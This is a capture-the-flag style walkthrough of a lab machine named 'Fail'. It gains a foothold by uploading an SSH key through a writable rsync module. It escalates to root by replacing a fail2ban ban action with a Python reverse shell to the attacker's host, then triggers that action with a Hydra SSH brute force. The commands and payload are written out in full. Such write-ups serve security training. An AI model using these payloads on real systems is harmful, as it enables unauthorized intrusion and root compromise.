Fail (Rsync foothold, fail2ban privesc)

Nmap automator

```
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
873/tcp open  rsync   (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Rysnc enumeration

```
┌──(root㉿kali)-[~/pg/practice/Fail]
└─# nmap -sV --script "rsync-list-modules" -p 873 192.168.249.126
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-05 01:34 EDT
Nmap scan report for 192.168.249.126
Host is up (0.074s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules:
|_  fox                 fox home

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds
```

```
┌──(root㉿kali)-[~/pg/practice/Fail]
└─# rsync -av --list-only rsync://192.168.249.126/fox/
receiving incremental file list
drwxr-xr-x          4,096 2021/01/21 09:21:59 .
lrwxrwxrwx              9 2020/12/03 15:22:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 00:12:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 00:12:36 .bashrc
-rw-r--r--            807 2019/04/18 00:12:36 .profile

sent 20 bytes  received 136 bytes  104.00 bytes/sec
total size is 4,562  speedup is 29.24
```

Researching rsync further, we can create and upload directories.

We will create an .ssh folder and an ssh key to remote into the box.

```
┌──(root㉿kali)-[~/pg/practice/Fail]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/pg/practice/Fail/.ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/pg/practice/Fail/.ssh/id_rsa
Your public key has been saved in /root/pg/practice/Fail/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:uGGy6ei3Qc51z1/7MkXYgFAM+UBoB/49PABYMF1J1vM root@kali
The key's randomart image is:
+---[RSA 3072]----+
|      o=+*BO..   |
|      .o+o= = .  |
|       ....o o + |
|       . . +. E o|
|    o = S . =  . |
|   + * + o   o  .|
|    * .   o   .. |
|   o..     . .o. |
| .o.o.      . .+.|
+----[SHA256]-----+
```

```
rsync -r .ssh rsync://192.168.249.126/fox
```

```
┌──(root㉿kali)-[~/pg/practice/Fail]
└─# rsync -av --list-only rsync://192.168.249.126/fox
receiving incremental file list
drwxr-xr-x          4,096 2022/11/05 01:45:05 .
lrwxrwxrwx              9 2020/12/03 15:22:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 00:12:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 00:12:36 .bashrc
-rw-r--r--            807 2019/04/18 00:12:36 .profile
drwxr-xr-x          4,096 2022/11/05 01:45:05 .ssh
-rw-r--r--            563 2022/11/05 01:45:05 .ssh/authorized_keys
-rw-------          2,590 2022/11/05 01:45:05 .ssh/id_rsa
-rw-r--r--            563 2022/11/05 01:45:05 .ssh/id_rsa.pub

sent 21 bytes  received 232 bytes  168.67 bytes/sec
total size is 8,278  speedup is 32.72
```

The ssh keys uploaded successfully, you should now be able to ssh as the fox user.

```
┌──(root㉿kali)-[~/pg/practice/Fail/.ssh]
└─# chmod 600 id_rsa

┌──(root㉿kali)-[~/pg/practice/Fail/.ssh]
└─# ssh -i id_rsa fox@192.168.249.126
The authenticity of host '192.168.249.126 (192.168.249.126)' can't be established.
ED25519 key fingerprint is SHA256:mqPCrimr9j626KOGoHM+qxgHUOYD4pu1+4KzhIvu5uA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.249.126' (ED25519) to the list of known hosts.
Linux fail 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ id
uid=1000(fox) gid=1001(fox) groups=1001(fox),1000(fail2ban)
$
```

Priv esc

After running linpeas and taking a hint from the box name, we see that we can edit the fail2ban configeration files.

```
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group fox:
  Group fail2ban:
/etc/fail2ban/action.d
/etc/fail2ban/action.d/firewallcmd-ipset.conf
/etc/fail2ban/action.d/nftables-multiport.conf
/etc/fail2ban/action.d/firewallcmd-multiport.conf
/etc/fail2ban/action.d/mail-whois.conf
/etc/fail2ban/action.d/ufw.conf
/etc/fail2ban/action.d/sendmail-common.conf
/etc/fail2ban/action.d/hostsdeny.conf
/etc/fail2ban/action.d/iptables-common.conf
/etc/fail2ban/action.d/iptables.conf
/etc/fail2ban/action.d/iptables-ipset-proto4.conf
#)You_can_write_even_more_files_inside_last_directory
```

Doing some more research, I found this artical that walks through the explotation steps. We can edit the ban rule within the iptables-multiport.conf file and replace it with a reverse shell.

```
#
actionban = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INEE
T,socket.SOCK_STREAM);s.connect(("192.168.49.249",53));os.dup2(s.fileno(),0); oss
.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

```
# Values:  CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conn
ect(("192.168.49.249",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pt
y.spawn("sh")'

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]
```

Now we can fireup hydra and brute-force SSH to trigger the fail2ban service, it will then read our new rule and execute a reverse shell as root.

```
┌──(root㉿kali)-[~/pg/practice/Fail]
└─# hydra -l fox -P /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt 192.168.249.126 ssh -V -f

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service org
anizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-05 02:44:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks:
 use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43003 login tries (l:1/p:43003), ~2688 tries per task
[DATA] attacking ssh://192.168.249.126:22/-V
[STATUS] 130.00 tries/min, 130 tries in 00:01h, 42875 to do in 05:30h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 42709 to do in 07:13h, 14 active
```

```
┌──(root㉿kali)-[~/pg/practice/Fail]
└─# rlwrap nc -lvnp 53
listening on [any] 53 ...
connect to [192.168.49.249] from (UNKNOWN) [192.168.249.126] 41296
id
id
uid=0(root) gid=0(root) groups=0(root)
#
```